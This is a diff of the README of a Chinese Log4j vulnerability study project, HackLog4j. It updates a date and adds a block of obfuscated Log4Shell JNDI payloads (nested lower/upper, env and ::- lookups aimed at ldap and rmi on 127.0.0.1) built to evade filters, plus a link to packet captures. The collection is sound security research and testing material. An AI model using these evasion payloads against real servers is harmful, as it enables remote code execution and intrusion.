|
1 | 1 | # HackLog4j-永恒之恶龙 |
2 | 2 |
|
3 | | -本项目用来致敬全宇宙最无敌的Java日志库!同时也记录自己在学习Log4j漏洞过程中遇到的一些内容。本项目会持续更新,本项目创建于2021年12月10日,最近的一次更新时间为2022年1月1日。 |
| 3 | +本项目用来致敬全宇宙最无敌的Java日志库!同时也记录自己在学习Log4j漏洞过程中遇到的一些内容。本项目会持续更新,本项目创建于2021年12月10日,最近的一次更新时间为2022年1月4日。 |
4 | 4 |
|
5 | 5 | - [00-Log4j永恒恶龙](https://github.com/0e0w/HackLog4j#00-log4j%E6%B0%B8%E6%81%92%E6%81%B6%E9%BE%99) |
6 | 6 | - [01-Log4j基础知识](https://github.com/0e0w/HackLog4j#01-log4j%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86) |
@@ -128,6 +128,22 @@ ${jndi:${lower:l}${lower:d}a${lower:p}://127.0.0.1} |
128 | 128 | ${jnd${upper:i}:ldap://127.0.0.1/poc} |
129 | 129 | ${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://127.0.0.1/poc} |
130 | 130 | ${jndi:ldap://127.0.0.1#127.0.0.1:1389/poc} |
| 131 | +${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1/poc} |
| 132 | +${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1/poc} |
| 133 | +${${lower:jndi}:${lower:ldap}://127.0.0.1/poc} |
| 134 | +${${::-j}ndi:rmi://127.0.0.1/poc} |
| 135 | +${${lower:${lower:jndi}}:${lower:ldap}://127.0.0.1/poc} |
| 136 | +${${lower:jndi}:${lower:rmi}://127.0.0.1/poc} |
| 137 | +${${lower:j}${lower:n}${lower:d}i:${lower:ldap}://127.0.0.1/poc} |
| 138 | +${${lower:${lower:jndi}}:${lower:rmi}://127.0.0.1/poc} |
| 139 | +${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:l}d${lower:a}p://127.0.0.1/poc} |
| 140 | +${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}://127.0.0.1/poc} |
| 141 | +${j${env:DOESNOTEXIST:-}ndi:ldap://127.0.0.1/poc} |
| 142 | +${j${env:DOESNOTEXIST:-}ndi:rmi://127.0.0.1/poc} |
| 143 | +${${: : : : ::: :: :: : :::-j}ndi:ldap://127.0.0.1/poc} |
| 144 | +${${: : : : ::: :: :: : :::-j}ndi:rmi://127.0.0.1/poc} |
| 145 | +${${::::::::::::::-j}ndi:ldap://127.0.0.1/poc} |
| 146 | +${${::::::::::::::-j}ndi:rmi://127.0.0.1/poc} |
131 | 147 | ``` |
132 | 148 |
|
133 | 149 | - https://github.com/test502git/log4j-fuzz-head-poc |
@@ -268,6 +284,7 @@ ${jndi:ldap://127.0.0.1#127.0.0.1:1389/poc} |
268 | 284 | - https://github.com/dbgee/CVE-2021-44228 |
269 | 285 | - https://github.com/lcosmos/apache-log4j-poc |
270 | 286 | - https://github.com/aalex954/Log4PowerShell |
| 287 | +- https://github.com/fox-it/log4shell-pcaps |
271 | 288 |
|
272 | 289 | ## 06-Log4j漏洞修复 |
273 | 290 |
|
|
0 commit comments